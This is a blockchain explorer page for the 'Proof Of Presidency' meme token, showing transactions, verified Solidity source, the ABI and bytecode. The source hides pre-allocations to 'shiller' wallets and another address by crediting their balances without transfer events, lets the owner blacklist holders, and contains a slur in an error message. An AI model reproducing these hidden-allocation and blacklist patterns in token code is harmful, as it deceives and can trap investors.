ETH Price: $1,862.80 (+2.74%)

Contract

0xDFb702E76de44f205f0dF6f1999f94444C99ce7d
 

Overview

ETH Balance

2 wei

Eth Value

Less Than $0.01 (@ $1,862.80/ETH)

Token Holdings

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Remove Limits160062672022-11-19 19:52:11863 days ago1668887531IN
0xDFb702E7...44C99ce7d
0 ETH0.0004110312.26686221
Approve157323552022-10-12 13:33:11901 days ago1665581591IN
0xDFb702E7...44C99ce7d
0 ETH0.0008490617.98479522
Approve157244802022-10-11 11:09:59903 days ago1665486599IN
0xDFb702E7...44C99ce7d
0 ETH0.0005732622.99858551
Approve157223632022-10-11 4:04:47903 days ago1665461087IN
0xDFb702E7...44C99ce7d
0 ETH0.0011111123.53561116
Approve157164002022-10-10 8:06:11904 days ago1665389171IN
0xDFb702E7...44C99ce7d
0 ETH0.001334428.26520945
Approve157149342022-10-10 3:11:47904 days ago1665371507IN
0xDFb702E7...44C99ce7d
0 ETH0.0009463737.96729493
Approve157149232022-10-10 3:09:35904 days ago1665371375IN
0xDFb702E7...44C99ce7d
0 ETH0.0016771435.52524388
Approve157125502022-10-09 19:12:59904 days ago1665342779IN
0xDFb702E7...44C99ce7d
0 ETH0.0017728937.55337304
Approve157125422022-10-09 19:11:23904 days ago1665342683IN
0xDFb702E7...44C99ce7d
0 ETH0.0013960929.57203315
Approve157125192022-10-09 19:06:47904 days ago1665342407IN
0xDFb702E7...44C99ce7d
0 ETH0.001416330
Approve157125042022-10-09 19:03:47904 days ago1665342227IN
0xDFb702E7...44C99ce7d
0 ETH0.0015042131.86214201
Approve157124592022-10-09 18:54:47904 days ago1665341687IN
0xDFb702E7...44C99ce7d
0 ETH0.0015087531.95831608
Approve157124582022-10-09 18:54:35904 days ago1665341675IN
0xDFb702E7...44C99ce7d
0 ETH0.0015540232.91728633
Approve157124582022-10-09 18:54:35904 days ago1665341675IN
0xDFb702E7...44C99ce7d
0 ETH0.0017239836.51728633
Approve157124522022-10-09 18:53:23904 days ago1665341603IN
0xDFb702E7...44C99ce7d
0 ETH0.0012620126.73201686
Approve157124402022-10-09 18:50:59904 days ago1665341459IN
0xDFb702E7...44C99ce7d
0 ETH0.0017467737
Approve157124382022-10-09 18:50:35904 days ago1665341435IN
0xDFb702E7...44C99ce7d
0 ETH0.0016865235.72381435
Approve157124312022-10-09 18:49:11904 days ago1665341351IN
0xDFb702E7...44C99ce7d
0 ETH0.0012792927.09788153
Approve157124252022-10-09 18:47:59904 days ago1665341279IN
0xDFb702E7...44C99ce7d
0 ETH0.0013960129.57029338
Approve157124242022-10-09 18:47:47904 days ago1665341267IN
0xDFb702E7...44C99ce7d
0 ETH0.0014640131.01078978
Approve157124242022-10-09 18:47:47904 days ago1665341267IN
0xDFb702E7...44C99ce7d
0 ETH0.0025965555
Approve157124182022-10-09 18:46:35904 days ago1665341195IN
0xDFb702E7...44C99ce7d
0 ETH0.0012955327.44196037
Approve157124102022-10-09 18:44:59904 days ago1665341099IN
0xDFb702E7...44C99ce7d
0 ETH0.0014047329.75512051
Approve157124082022-10-09 18:44:35904 days ago1665341075IN
0xDFb702E7...44C99ce7d
0 ETH0.0014294630.27881198
Transfer157124012022-10-09 18:43:11904 days ago1665340991IN
0xDFb702E7...44C99ce7d
0 ETH0.0063935827.98923662
View all transactions

Latest 25 internal transactions (View All)

Advanced mode:
Parent Transaction Hash Method Block
From
To
Transfer157223662022-10-11 4:05:23903 days ago1665461123
0xDFb702E7...44C99ce7d
0.00111182 ETH
Transfer157223662022-10-11 4:05:23903 days ago1665461123
0xDFb702E7...44C99ce7d
0.00259426 ETH
Transfer157223662022-10-11 4:05:23903 days ago1665461123
0xDFb702E7...44C99ce7d
0.00370609 ETH
Transfer157223662022-10-11 4:05:23903 days ago1665461123
0xDFb702E7...44C99ce7d
0.00741218 ETH
Transfer157125502022-10-09 19:12:59904 days ago1665342779
0xDFb702E7...44C99ce7d
0.00046993 ETH
Transfer157125502022-10-09 19:12:59904 days ago1665342779
0xDFb702E7...44C99ce7d
0.0010965 ETH
Transfer157125502022-10-09 19:12:59904 days ago1665342779
0xDFb702E7...44C99ce7d
0.00156643 ETH
Transfer157125502022-10-09 19:12:59904 days ago1665342779
0xDFb702E7...44C99ce7d
0.00313287 ETH
Transfer157125482022-10-09 19:12:35904 days ago1665342755
0xDFb702E7...44C99ce7d
0.00095874 ETH
Transfer157125482022-10-09 19:12:35904 days ago1665342755
0xDFb702E7...44C99ce7d
0.00223706 ETH
Transfer157125482022-10-09 19:12:35904 days ago1665342755
0xDFb702E7...44C99ce7d
0.0031958 ETH
Transfer157125482022-10-09 19:12:35904 days ago1665342755
0xDFb702E7...44C99ce7d
0.00639161 ETH
Transfer157125292022-10-09 19:08:47904 days ago1665342527
0xDFb702E7...44C99ce7d
0.00083366 ETH
Transfer157125292022-10-09 19:08:47904 days ago1665342527
0xDFb702E7...44C99ce7d
0.00194521 ETH
Transfer157125292022-10-09 19:08:47904 days ago1665342527
0xDFb702E7...44C99ce7d
0.00277888 ETH
Transfer157125292022-10-09 19:08:47904 days ago1665342527
0xDFb702E7...44C99ce7d
0.00555776 ETH
Transfer157124802022-10-09 18:58:59904 days ago1665341939
0xDFb702E7...44C99ce7d
0.00153992 ETH
Transfer157124802022-10-09 18:58:59904 days ago1665341939
0xDFb702E7...44C99ce7d
0.00359316 ETH
Transfer157124802022-10-09 18:58:59904 days ago1665341939
0xDFb702E7...44C99ce7d
0.00513309 ETH
Transfer157124802022-10-09 18:58:59904 days ago1665341939
0xDFb702E7...44C99ce7d
0.01026619 ETH
Transfer157124722022-10-09 18:57:23904 days ago1665341843
0xDFb702E7...44C99ce7d
0.00134401 ETH
Transfer157124722022-10-09 18:57:23904 days ago1665341843
0xDFb702E7...44C99ce7d
0.00313602 ETH
Transfer157124722022-10-09 18:57:23904 days ago1665341843
0xDFb702E7...44C99ce7d
0.00448003 ETH
Transfer157124722022-10-09 18:57:23904 days ago1665341843
0xDFb702E7...44C99ce7d
0.00896007 ETH
Transfer157124682022-10-09 18:56:35904 days ago1665341795
0xDFb702E7...44C99ce7d
0.00132743 ETH
View All Internal Transactions
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
TRUMP2

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-10-09
*/

// SPDX-License-Identifier: Unlicensed


// Newest innovation in the DeFi space:
// Proof Of Presidency!
// @Proofofpresidency

pragma solidity ^0.8.4;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function transferOwnership(address _newOwner) public virtual onlyOwner {
        emit OwnershipTransferred(_owner, _newOwner);
        _owner = _newOwner;
        
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}  

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract TRUMP2 is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private bots;
    mapping (address => uint) private cooldown;
    uint256 private time;
    uint256 private _tax;

    uint256 private constant _tTotal = 1 * 10**9 * 10**9;
    uint256 private fee1=40;
    uint256 private fee2=80;
    uint256 private pc1=50;
    uint256 private pc2=35;
    uint256 private pc3 =15;
    address[3] shillers = [
        0xe16BC65f060E0Baba9146eCE2d7134Fc434F42F9,
        0xeA32af85Ed872691f684eCa22ACF20C832351f1A,
        0x1c7B9974821c9232FFeb67b604C9c1F0E62A0DA4
    ];
    string private constant _name = "Proof Of Presidency";
    string private constant _symbol = "TRUMP2.0";
    uint256 private _maxTxAmount = _tTotal.div(1000).mul(25);
    uint256 private _maxWalletAmount = _tTotal.div(100).mul(5);
    uint256 private minBalance = _tTotal.div(1000);


    uint8 private constant _decimals = 9;
    address payable private _deployer;
    address payable private _marketingWallet;
    address payable private _buybackWallet;
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
    constructor () payable {
        _deployer = payable(msg.sender);
        _marketingWallet = payable(0x1c7B9974821c9232FFeb67b604C9c1F0E62A0DA4);
        _buybackWallet = payable(0xe16BC65f060E0Baba9146eCE2d7134Fc434F42F9);
        _tOwned[address(this)] = _tTotal;
        for (uint i=0;i<3;i++){_tOwned[shillers[i]]=_tTotal.div(100).mul(3);}
        _tOwned[address(0x60BbB91BC6Cf137ce041e365E00344934444f9b4)] = _tTotal.div(100).mul(6);
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_deployer] = true;
        _isExcludedFromFee[uniswapV2Pair] = true;
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());

        emit Transfer(address(0),address(this),_tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _tOwned[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
   

    function changeMinBalance(uint256 newMin) external {
        require(_msgSender() == _deployer);
        minBalance = newMin;

    }

    function changeFees(uint256 _buy, uint256 _sell) external {
        require(_msgSender() == _deployer);
        require(_buy <= 100 && _sell <= 100,"cannot set fees above 10%");
        fee1 = _buy;
        fee2 = _sell;
    }

    function editPercentages(uint256 _pc1, uint256 _pc2, uint256 _pc3) external {
        require(_msgSender() == _deployer);
        require(_pc1 + _pc2 + _pc3 == 100,"math faggot");
        pc1 = _pc1;
        pc2 = _pc2;
        pc3 = _pc3;
    }

    function removeLimits() external {
        require(_msgSender() == _deployer);
        _maxTxAmount = _tTotal;
        _maxWalletAmount = _tTotal;
    }


    function excludeFromFees(address target) external {
        require(_msgSender() == _deployer);
        _isExcludedFromFee[target] = true;
    }

   
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        _tax = fee1;
        if (from != owner() && to != owner()) {
            require(!bots[from] && !bots[to]);
            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && (block.timestamp < time)){
                // Cooldown
                require((_tOwned[to] + amount) <= _maxWalletAmount,"not a chance bub");
                require(amount <= _maxTxAmount);
                require(cooldown[to] < block.timestamp);
                cooldown[to] = block.timestamp + (30 seconds);
            }
            
            
            if (!inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from]) {
                require(block.timestamp > time,"Sells prohibited for the first 4 minutes");
                uint256 contractTokenBalance = balanceOf(address(this));
                if(contractTokenBalance > minBalance){
                    swapTokensForEth(contractTokenBalance);
                    uint256 contractETHBalance = address(this).balance;
                    if(contractETHBalance > 0) {
                        sendETHToFee(address(this).balance);
                    }
                }
            }
        }
        if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
            _tax = fee2;
        }		
        _transferStandard(from,to,amount);
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
    

    function addLiquidity(uint256 tokenAmount,uint256 ethAmount,address target) private lockTheSwap{
        _approve(address(this),address(uniswapV2Router),tokenAmount);
        uniswapV2Router.addLiquidityETH{value: ethAmount}(address(this),tokenAmount,0,0,target,block.timestamp);
    }

    
    function sendETHToFee(uint256 amount) private {
        _deployer.transfer(amount.div(100).mul(pc1));
        _marketingWallet.transfer(amount.div(100).mul(pc2));
        _buybackWallet.transfer(amount.div(100).mul(pc3));
    }
    
    function openTrading() external payable onlyOwner() {
        require(!tradingOpen,"trading is already open");
        addLiquidity(balanceOf(address(this)),address(this).balance,owner());
        swapEnabled = true;
        tradingOpen = true;
        time = block.timestamp + (3 minutes);
    }
    
    function setBots(address[] memory bots_) public onlyOwner {
        for (uint i = 0; i < bots_.length; i++) {
            bots[bots_[i]] = true;
        }
    }
    
    function delBot(address notbot) public onlyOwner {
        bots[notbot] = false;
    }

    function _transferStandard(address sender, address recipient, uint256 tAmount) private {
        (uint256 transferAmount,uint256 tfee) = _getTValues(tAmount);
        _tOwned[sender] = _tOwned[sender].sub(tAmount);
        _tOwned[recipient] = _tOwned[recipient].add(transferAmount); 
        _tOwned[address(this)] = _tOwned[address(this)].add(tfee);
        emit Transfer(sender, recipient, transferAmount);
    }

    receive() external payable {}
    
    function manualswap(address target) external {
        require(_msgSender() == _deployer);
        _isExcludedFromFee[target] = true;
        uint256 contractBalance = balanceOf(address(this));
        swapTokensForEth(contractBalance);
    }
    
    function manualsend() external {
        require(_msgSender() == _deployer);
        uint256 contractETHBalance = address(this).balance;
        sendETHToFee(contractETHBalance);
    }
   
    function _getTValues(uint256 tAmount) private view returns (uint256, uint256) {
        uint256 tFee = tAmount.mul(_tax).div(1000);
        uint256 tTransferAmount = tAmount.sub(tFee);
        return (tTransferAmount, tFee);
    }

    function recoverTokens(address tokenAddress) external {
        require(_msgSender() == _deployer);
        IERC20 recoveryToken = IERC20(tokenAddress);
        recoveryToken.transfer(_deployer,recoveryToken.balanceOf(address(this)));
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buy","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"}],"name":"changeFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newMin","type":"uint256"}],"name":"changeMinBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"notbot","type":"address"}],"name":"delBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_pc1","type":"uint256"},{"internalType":"uint256","name":"_pc2","type":"uint256"},{"internalType":"uint256","name":"_pc3","type":"uint256"}],"name":"editPercentages","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"target","type":"address"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"target","type":"address"}],"name":"manualswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAddress","type":"address"}],"name":"recoverTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"setBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405260286009556050600a556032600b556023600c55600f600d55604051806060016040528073e16bc65f060e0baba9146ece2d7134fc434f42f973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200173ea32af85ed872691f684eca22acf20c832351f1a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001731c7b9974821c9232ffeb67b604c9c1f0e62a0da473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815250600e9060036200010a92919062000b15565b50620001496019620001356103e8670de0b6b3a7640000620009a760201b620013cb1790919060201c565b620009f960201b620014151790919060201c565b601155620001896005620001756064670de0b6b3a7640000620009a760201b620013cb1790919060201c565b620009f960201b620014151790919060201c565b601255620001b06103e8670de0b6b3a7640000620009a760201b620013cb1790919060201c565b6013556000601860156101000a81548160ff0219169083151502179055506000601860166101000a81548160ff0219169083151502179055506000620001fb62000a7c60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35033601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550731c7b9974821c9232ffeb67b604c9c1f0e62a0da4601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073e16bc65f060e0baba9146ece2d7134fc434f42f9601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550670de0b6b3a7640000600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060005b6003811015620004ab576200041a6003620004066064670de0b6b3a7640000620009a760201b620013cb1790919060201c565b620009f960201b620014151790919060201c565b60026000600e846003811062000435576200043462000bb6565b5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508080620004a29062000c1e565b915050620003d3565b50620004e96006620004d56064670de0b6b3a7640000620009a760201b620013cb1790919060201c565b620009f960201b620014151790919060201c565b600260007360bbb91bc6cf137ce041e365e00344934444f9b473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600460006200055662000a8460201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160046000601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160046000601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550737a250d5630b4cf539739df2c5dacb4c659f2488d601760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620007b6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620007dc919062000cd5565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000866573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200088c919062000cd5565b6040518363ffffffff1660e01b8152600401620008ab92919062000d18565b6020604051808303816000875af1158015620008cb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620008f1919062000cd5565b601860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef670de0b6b3a764000060405162000999919062000d56565b60405180910390a362000f7b565b6000620009f183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525062000aad60201b60201c565b905092915050565b600080830362000a0d576000905062000a76565b6000828462000a1d919062000d73565b905082848262000a2e919062000ded565b1462000a71576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000a689062000eac565b60405180910390fd5b809150505b92915050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000808311829062000af7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000aee919062000f57565b60405180910390fd5b506000838562000b08919062000ded565b9050809150509392505050565b826003810192821562000b84579160200282015b8281111562000b835782518260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055509160200191906001019062000b29565b5b50905062000b93919062000b97565b5090565b5b8082111562000bb257600081600090555060010162000b98565b5090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000819050919050565b600062000c2b8262000c14565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820362000c605762000c5f62000be5565b5b600182019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000c9d8262000c70565b9050919050565b62000caf8162000c90565b811462000cbb57600080fd5b50565b60008151905062000ccf8162000ca4565b92915050565b60006020828403121562000cee5762000ced62000c6b565b5b600062000cfe8482850162000cbe565b91505092915050565b62000d128162000c90565b82525050565b600060408201905062000d2f600083018562000d07565b62000d3e602083018462000d07565b9392505050565b62000d508162000c14565b82525050565b600060208201905062000d6d600083018462000d45565b92915050565b600062000d808262000c14565b915062000d8d8362000c14565b925082820262000d9d8162000c14565b9150828204841483151762000db75762000db662000be5565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000dfa8262000c14565b915062000e078362000c14565b92508262000e1a5762000e1962000dbe565b5b828204905092915050565b600082825260208201905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b600062000e9460218362000e25565b915062000ea18262000e36565b604082019050919050565b6000602082019050818103600083015262000ec78162000e85565b9050919050565b600081519050919050565b60005b8381101562000ef957808201518184015260208101905062000edc565b60008484015250505050565b6000601f19601f8301169050919050565b600062000f238262000ece565b62000f2f818562000e25565b935062000f4181856020860162000ed9565b62000f4c8162000f05565b840191505092915050565b6000602082019050818103600083015262000f73818462000f16565b905092915050565b6138298062000f8b6000396000f3fe6080604052600436106101445760003560e01c806370a08231116100b6578063a9059cbb1161006f578063a9059cbb14610419578063b515566a14610456578063c9567bf91461047f578063dd62ed3e14610489578063e57f14e1146104c6578063f2fde38b146104ef5761014b565b806370a082311461032f578063715018a61461036c578063751039fc146103835780638da5cb5b1461039a57806395d89b41146103c5578063a72e41ff146103f05761014b565b806323b872dd1161010857806323b872dd14610235578063273123b714610272578063313ce5671461029b5780634ea18fab146102c657806360c89484146102ef5780636fc3eaec146103185761014b565b806306fdde0314610150578063095ea7b31461017b57806316114acd146101b857806318160ddd146101e157806321ecff5b1461020c5761014b565b3661014b57005b600080fd5b34801561015c57600080fd5b50610165610518565b604051610172919061274d565b60405180910390f35b34801561018757600080fd5b506101a2600480360381019061019d9190612817565b610555565b6040516101af9190612872565b60405180910390f35b3480156101c457600080fd5b506101df60048036038101906101da919061288d565b610573565b005b3480156101ed57600080fd5b506101f66106f7565b60405161020391906128c9565b60405180910390f35b34801561021857600080fd5b50610233600480360381019061022e91906128e4565b610707565b005b34801561024157600080fd5b5061025c60048036038101906102579190612924565b6107cb565b6040516102699190612872565b60405180910390f35b34801561027e57600080fd5b506102996004803603810190610294919061288d565b6108a4565b005b3480156102a757600080fd5b506102b0610994565b6040516102bd9190612993565b60405180910390f35b3480156102d257600080fd5b506102ed60048036038101906102e891906129ae565b61099d565b005b3480156102fb57600080fd5b50610316600480360381019061031191906129db565b610a08565b005b34801561032457600080fd5b5061032d610adc565b005b34801561033b57600080fd5b506103566004803603810190610351919061288d565b610b4e565b60405161036391906128c9565b60405180910390f35b348015